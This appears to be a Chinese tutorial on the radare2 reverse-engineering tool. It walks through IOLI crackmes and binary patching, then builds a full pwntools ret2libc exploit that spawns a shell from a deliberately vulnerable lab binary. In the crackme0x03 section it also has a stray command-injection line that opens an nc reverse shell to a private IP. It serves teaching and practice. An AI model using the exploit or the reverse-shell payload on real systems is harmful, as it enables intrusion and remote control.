文章目录
正版官方教程:https://www.megabeets.net/a-journey-into-radare-2-part-1/
从入门到放弃:https://xz.aliyun.com/t/7265
逆向笔记:https://evilpan.com/2018/02/09/play-with-radare2/
CTF入门指南工具篇:https://www.bookstack.cn/read/CTF-All-In-One/doc-2.2.1_radare2.md
1、安装radare2
sudo apt install -y gcc make cmake curl git gcc-multilib
git clone https://github.com/radare/radare2.git
cd radare2
./sys/install.sh
# 卸载
make uninstall
make purge
2、下载破解案列1:
https://github.com/ITAYC0HEN/A-journey-into-Radare2/blob/master/Part%201%20-%20Simple%20crackme/megabeets_0x1
首先编译下面代码
gcc -o main.c xxx
#include <stdio.h>
#include <string.h>
void rot13 (char *s) {
if (s == NULL)
return;
int i;
for (i = 0; s[i]; i++) {
if (s[i] >= 'a' && s[i] <= 'm') { s[i] += 13; continue; }
if (s[i] >= 'A' && s[i] <= 'M') { s[i] += 13; continue; }
if (s[i] >= 'n' && s[i] <= 'z') { s[i] -= 13; continue; }
if (s[i] >= 'N' && s[i] <= 'Z') { s[i] -= 13; continue; }
}
}
int beet(char *name)
{
char buf[128];
strcpy(buf, name);
char string[] = "Megabeets";
rot13(string);
return !strcmp(buf, string);
}
int main(int argc, char *argv[])
{
printf("\n .:: Megabeets ::.\n");
printf("Think you can make it?\n");
if (argc >= 2 && beet(argv[1]))
{
printf("Success!\n\n");
}
else
printf("Nop, Wrong argument.\n\n");
return 0;
}
3、命令行帮助
r2 -h
# rabin2允许从二进制文件中提取信息,包括section, header, Imports, Strings, Entrypoints等。然后,它可以以几种格式导出输出。rabin2能够理解ELF、PE、Mach-O、Java CLASS等多种文件格式
man rabin2
4、新手入门练习1
# -I 查看程序操作系统、语言、字节顺序、架构、缓和(canary、pic、nx)等二进制信息。
rabin2 -I megabeets_0x1
# 运行
r2 megabeets_0x1
# ie 指令查看入口点
0x08048370]> ie
[Entrypoints]
vaddr=0x08048370 paddr=0x00000370 haddr=0x00000018 hvaddr=0x08048018 type=program
1 entrypoints
# i? 获取i相关的指令信息
[0x08048370]> i?
Usage: i Get info from opened file (see rabin2's manpage)
Output mode:
| '*' Output in radare commands
| 'j' Output in json
# it hash信息
# iz izz 在整个文件中搜索字符串
# a?
# aaa 等效于, 加载程序必须先执行这一步
r2 -A megabeets_0x1
# f?
# fs 列出标记空间,下面是列出和打印
fs imports;f
fs strings;f
# ax? @@? axt?
# seek s?
# 显示字符地址
axt @@ str.*
4.1 分析函数列表 符号列表
afl
0x00001060 1 46 entry0
0x00001090 4 41 -> 34 sym.deregister_tm_clones
0x000010c0 4 57 -> 51 sym.register_tm_clones
0x00001100 5 57 -> 54 sym.__do_global_dtors_aux
0x00001040 1 11 sym..plt.got
0x00001140 1 9 entry.init0
0x00001000 3 27 sym._init
# 符号列表
isp
4.2 寻找main函数然后打印出来
s main
pdf
4.3 视图模式
# v 进入视图模式
# p\P 返回 p返回反汇编视图
# q 退出
# ? 帮助
# enter 隐藏或显示其他界面
# :command 与vim类似的指令模式
# ;<comment> 写注释
# VV 进入函数框架模式,类似IDA开始的界面
# R 代码块设置为随机颜色
# g 跳转
# 视图模式下每个函数有数字编号,按该数字进入该函数
# :> ? 0x88 可以列出0x88的数据转换十进制,16禁制,浮点数等信息
4.4 搜索函数
afl
s sym.<fun_mame>
pdf
4.5 破解
# 使用r2自带算法解析rot13
!rahash2 -E rot -S s:13 -s "Megabeets\n"
ood?
ood Zrtnorrgf
dc
5、Crackme 实战练习
下载9个破解案列:https://github.com/mattetti/IOLI-crackme
64 位机器上可能需要安装 gcc-multilib 依赖包才能运行32位程序
crackme0x00
1 使用rabin2查看程序信息
jydr@jie:~/afolder/crackme$ rabin2 -I ./crackme0x00
arch x86
baddr 0x8048000
binsz 7537
bintype elf
bits 32
canary false
class ELF32
……
2 查看字符串
jydr@jie:~/afolder/crackme$ rabin2 -z crackme0x00
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000568 0x08048568 24 25 .rodata ascii IOLI Crackme Level 0x00\n
1 0x00000581 0x08048581 10 11 .rodata ascii Password:
2 0x0000058f 0x0804858f 6 7 .rodata ascii 250382
3 0x00000596 0x08048596 18 19 .rodata ascii Invalid Password!\n
4 0x000005a9 0x080485a9 15 16 .rodata ascii Password OK :)\n
3 分析后进入main函数
# 分析全模块方式打开
r2 -A crackme0x00
# 查看函数和打印main
afl
pdf @ main
# 分析汇编后得知密码就是之前看到过的 250382
│ 0x0804845e c74424048f85. mov dword [s2], str.250382 ; [0x804858f:4]=0x33303532 ; "250382" ; const char *s2
│ 0x08048466 890424 mov dword [esp], eax ; const char *s1
│ 0x08048469 e8e2feffff call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
│ 0x0804846e 85c0 test eax, eax
│ ┌─< 0x08048470 740e je 0x8048480
│ │ 0x08048472 c70424968504. mov dword [esp], str.Invalid_Password__n ; [0x8048596:4]=0x61766e49 ; "Invalid Password!\n" ; const char *format
│ │ 0x08048479 e8c2feffff call sym.imp.printf ; int printf(const char *format)
│ ┌──< 0x0804847e eb0c jmp 0x804848c
│ ││ ; CODE XREF from main @ 0x8048470
│ │└─> 0x08048480 c70424a98504. mov dword [esp], str.Password_OK_:__n ; [0x80485a9:4]=0x73736150 ; "Password OK :)\n" ; const char *format
│ │ 0x08048487 e8b4feffff call sym.imp.printf ; int printf(const char *format)
│ │ ; CODE XREF from main @ 0x804847e
│ └──> 0x0804848c b800000000 mov eax, 0
# 创建保存项目mc0
[0x08048360]> Ps mc0
4 命名变量
# 跳转到main 显示寄存器和变量
[0x08048360]> s main
[0x08048414]> afv
var char * s2 @ esp+0x4
var char * s1 @ ebp-0x18
[0x08048414]> pdf
# 查看一个scanf 的第一个参数
[0x08048414]> ps @ 0x804858c
%s
# 重命名变量
[0x08048414]> afvn passwd s2
[0x08048414]> afvn input s1
[0x08048414]> pdf
; DATA XREF from entry0 @ 0x8048377
┌ 127: int main (int argc, char **argv, char **envp);
│ ; var char *input @ ebp-0x18
│ ; var char *passwd @ esp+0x4
# 移除变量名
[0x08048414]> afv-s1
# 按v 进入视图模式 再按c 选中行 ; 写注释
5 打补丁
# 使用 -w 打开或者键入 oo+ 修改程序
r2 -w crackme0x00
# 定位到关键跳转地址
[0x08048414]> s 0x08048470
# 将机器码和需要汇编码互转
jydr@jie:~/afolder/crackme$ rasm2 -a x86 -b 32 -d "0x740e"
je 0x10
jydr@jie:~/afolder/crackme$ rasm2 -a x86 -b 32 "jmp 0x10"
eb0e
# px 查看当前 n 字节的机器码
[0x08048470]> px 20
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x08048470 740e c704 2496 8504 08e8 c2fe ffff eb0c t...$...........
# wx 写入当前字节
[0x08048470]> wx eb
[0x08048470]> px 20
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x08048470 eb0e c704 2496 8504 08e8 c2fe ffff eb0c ....$...........
crackme0x01
# 破解与0x00一样,使用rax2转换16进制数据
jydr@jie:~/afolder/crackme$ rax2 0x149a
5274
crackme0x02
# 看汇编可以计算出密码,下面直接打补丁
# 打印某个地址的n行代码
pd 20 @ 0x08048407
# 定位到跳转点
[0x08048451]> s 0x08048451
[0x08048451]> px 20
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x08048451 750e c704 246f 8504 08e8 bdfe ffff eb0c u...$o..........
0x08048461 c704 247f ..$.
# 让程序可写
[0x08048451]> oo+
[0x08048451]> wx 9090
crackme0x03
与 crackme0x02 一样
# 进入某个函数的视图模式
VV @ sym.test
# 反弹shell
8.8.8.8 | echo `mkfifo /tmp/kbrh; nc 192.168.0.6 12345 0</tmp/kbrh | /bin/sh >/tmp/kbrh 2>&1; rm /tmp/kbrh`
先在攻击机开启监听端口 nc -lvvp 12345
6、进阶实战
#include <stdio.h>
#include <string.h>
void rot13 (char *s) {
if (s == NULL)
return;
int i;
for (i = 0; s[i]; i++) {
if (s[i] >= 'a' && s[i] <= 'm') { s[i] += 13; continue; }
if (s[i] >= 'A' && s[i] <= 'M') { s[i] += 13; continue; }
if (s[i] >= 'n' && s[i] <= 'z') { s[i] -= 13; continue; }
if (s[i] >= 'N' && s[i] <= 'Z') { s[i] -= 13; continue; }
}
}
int beet(char *name)
{
char buf[128];
strcpy(buf, name);
char string[] = "Megabeets";
rot13(string);
return !strcmp(buf, string);
}
int main(int argc, char *argv[])
{
char *input;
puts("\n .:: Megabeets ::.\n");
puts("Show me what you got:");
scanf("%ms", &input);
if (beet(input))
{
printf("Success!\n\n");
}
else
puts("Nop, Wrong argument.\n\n");
return 0;
}
# 使用如下命令编译源码
gcc -m32 -fno-stack-protector -no-pie megabeets_0x2.c -o megabeets_0x2
1、动态调试
# 以调试模式打开
r2 -d megabeets_0x2
# 分析函数、符号等
aas
# dcu 运行到 main
[0xf7ef90b0]> dcu main
Continue until 0x080493a9 using 1 bpsize
hit breakpoint at: 0x80493a9
# VV 进入视图,g 可以跳转到函数或者地址
# 视图模式下 o 可以切换显示样式
# 这个程序没有堆栈检测,有溢出漏洞
2、ragg2 生成定位溢出点的字符串
使用 radare 框架中名为 ragg2 的工具,它允许生成名为De Bruijn Sequence的循环模式,并检查负载覆盖缓冲区的确切偏移量。
jydr@jie: $ ragg2 -P 100 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
3、rarun2 找溢出点
rarun2 被用作启动器,用于运行不同环境、参数、权限、目录的程序,并覆盖默认文件描述符(例如stdin)。
当您必须使用长参数运行程序、将大量数据传递给stdin或类似的东西时,这是非常有用的,这通常是利用二进制文件的情况。
- 使用ragg2将De Bruijn模式写入一个文件
- 创建rarun2概要文件,并将输出文件设置为stdin
- 让radare2施展魔法,找到偏移量
jydr@jie:~/afolder$ ragg2 -P 200 -r > fuzz.txt
jydr@jie:~/afolder$ vim run.rr2
jydr@jie:~/afolder$ cat run.rr2
#!/usr/bin/rarun2
stdin=./fuzz.txt
jydr@jie:~/afolder$ r2 -r run.rr2 -d megabeets_0x2
Process with PID 82019 started...
= attach 82019 82019
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
glibc.fc_offset = 0x00148
-- You will soon have an out of memory experience.
# dc 继续执行 在 0x41417641 断下
[0xf7f950b0]> dc
.:: Megabeets ::.
Show me what you got:
[+] SIGNAL 11 errno=0 addr=0x41417641 code=1 si_pid=1094809153 ret=0
[0x41417641]>
# wop 显示出具体的崩溃位置
[0x41417641]> wop?
Usage: wop[DO] len @ addr | value
| wopD len [@ addr] Write a De Bruijn Pattern of length 'len' at address 'addr'
| wopD* len [@ addr] Show wx command that creates a debruijn pattern of a specific length
| wopO value Finds the given value into a De Bruijn Pattern at current offset
[0x41417641]> wopO 0x41417641
140
4、i? 查看库和函数
# 进入调试模式查看引用的库
jydr@jie:~/afolder$ r2 -d megabeets_0x2
# il 查看库
[0xf7f870b0]> il
[Linked libraries]
libc.so.6
1 library
# ii iiq 查看函数
[0xf7f870b0]> ii
[Imports]
nth vaddr bind type lib name
―――――――――――――――――――――――――――――――――――――
1 0x08049090 GLOBAL FUNC strcmp
2 0x080490a0 GLOBAL FUNC strcpy
3 0x080490b0 GLOBAL FUNC puts
4 0x00000000 WEAK NOTYPE __gmon_start__
5 0x080490c0 GLOBAL FUNC __libc_start_main
6 0x080490d0 GLOBAL FUNC __isoc99_scanf
[0xf7f870b0]> iiq
strcmp
strcpy
puts
__gmon_start__
__libc_start_main
__isoc99_scanf
5、绕过和利用计划
因为有 NX 和 ASlR 安全机制,所以不能直接利用堆栈
- 暴露 put 的真实地址
- 计算 libc 的基址
- 计算系统地址
- 在 libc 中找到一个包含字符串 /bin/sh 的地址
- 使用 /bin/sh 调用系统,生成一个shell
±--------------------+
| Stage 1
±--------------------+
| padding (140 bytes)
| puts@plt
| entry_point
| puts@got
±--------------------+
6、开始利用
# 安装 pwntools 框架
pip3 install pwntools
# 回到之前的r2 获取put@plt 地址
[0xf7f3a0b0]> ?v sym.imp.puts
0x80490b0
# 获取put@got 地址
[0xf7f3a0b0]> ?v reloc.puts
0x804c014
# 获取 entry point 地址
[0xf7f3a0b0]> ieq
0x080490e0
编写python 代码
from pwn import *
puts_plt = 0x80490b0
puts_got = 0x804c014
entry_point = 0x080490e0
def main():
# open process
p = process("./megabeets_0x2")
# Initial payload
payload = 'A'*140
ropchain = p32(puts_plt)
ropchain += p32(entry_point)
ropchain += p32(puts_got)
payload = str.encode(payload) + ropchain
p.clean()
p.sendline(payload)
leak = p.recv(4)
leak = u32(leak)
log.info("puts is at: 0x%x" % leak)
p.clean()
if __name__ == "__main__":
main()
# 运行之后发现puts 函数的地址每次都是不同的,因为加载基址不同
jydr@jie:~/PycharmProjects/test1$ python3 main.py
[+] Starting local process './megabeets_0x2': pid 89604
[*] puts is at: 0xf7d8c2b0
[*] Stopped process './megabeets_0x2' (pid 89604)
jydr@jie:~/PycharmProjects/test1$ python3 main.py
[+] Starting local process './megabeets_0x2': pid 89612
[*] puts is at: 0xf7e0f2b0
[*] Stopped process './megabeets_0x2' (pid 89612)
jydr@jie:~/PycharmProjects/test1$ python3 main.py
[+] Starting local process './megabeets_0x2': pid 90274
[*] puts is at: 0xf7dae2b0
[*] Stopped process './megabeets_0x2' (pid 90274)
首先,我们需要找到puts与libc的基址的偏移量。让我们再次打开radare2并继续执行,直到到达程序的入口点。我们必须这样做,因为radare2在libc加载之前就开始调试了。当我们到达入口点时,库肯定会被加载。
# 确定函数地址
jydr@jie:~/afolder$ r2 -d megabeets_0x2
[0xf7fa50b0]> dcu entry0
Continue until 0x080490e0 using 1 bpsize
hit breakpoint at: 0x80490e0
[0x080490e0]> dmi libc puts~ puts$
467 0x000712b0 0xf7e082b0 WEAK FUNC 539 puts
[0x080490e0]> dmi libc system~ system$
1560 0x00046040 0xf7ddd040 WEAK FUNC 63 system
[0x080490e0]> dmi libc exit~ exit$
152 0x000387b0 0xf7dcf7b0 GLOBAL FUNC 39 exit
# 在程序中查找“/bin/sh”的引用,为此,使用radare2的搜索功能。默认情况下,雷达在dbg.map是当前的内存映射。我们想要在所有内存映射中搜索,所以需要配置它:
[0x000387b0]> e search.in = dbg.maps
# 获取sh 地址
[0x000387b0]> / /bin/sh
……
0xf7f2d12f hit0_0 .b/strtod_l.c-c/bin/shexit 0canonica.
[0x000387b0]> dmm~libc
0xf7d3b000 0xf7d58000 /usr/lib32/libc-2.32.so
[0x080490e0]> ?X 0xf7ed112f-0xf7d3b000
19612f
最终脚本
# This is a sample Python script.
# Press Shift+F10 to execute it or replace it with your code.
# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings.
from pwn import *
puts_plt = 0x80490b0
puts_got = 0x804c014
entry_point = 0x080490e0
offset_puts = 0x000712b0
offset_system = 0x00046040
offset_exit = 0x000387b0
offset_bin_sh = 0x19612f
def main():
# open process
p = process("./megabeets_0x2")
# Initial payload
payload = 'A'*140
ropchain = p32(puts_plt)
ropchain += p32(entry_point)
ropchain += p32(puts_got)
payload = str.encode(payload) + ropchain
p.clean()
p.sendline(payload)
leak = p.recv(4)
leak = u32(leak)
log.info("puts is at: 0x%x" % leak)
p.clean()
libc_base = leak - offset_puts
log.info("libc base: 0x%x" % libc_base)
# Calculate offsets
system_addr = libc_base + offset_system
bin_sh_addr = libc_base + offset_bin_sh
exit_addr = libc_base + offset_exit
log.info("system: 0x%x" % system_addr)
log.info("bin/sh: 0x%x" % bin_sh_addr)
log.info("exit: 0x%x" % exit_addr)
# Build 2nd payload
payload2 = 'A' * 140
ropchain2 = p32(system_addr)
ropchain2 += p32(exit_addr)
ropchain2 += p32(bin_sh_addr)
payload2 = str.encode(payload2) + ropchain2
p.sendline(payload2)
log.success("Here comes the shell!!")
p.clean()
p.interactive()
if __name__ == "__main__":
main()
执行成功后,将生出一个shell 可以执行指令
ydr@jie:~/PycharmProjects/test1$ python3 main.py
[+] Starting local process './megabeets_0x2': pid 5592
[*] puts is at: 0xf7dcf2b0
[*] libc base: 0xf7d5e000
[*] system: 0xf7da4040
[*] bin/sh: 0xf7ef412f
[*] exit: 0xf7d967b0
[+] Here comes the shell!!
[*] Switching to interactive mode
$ ls
core main.py megabeets_0x2 venv
$ whoami
jydr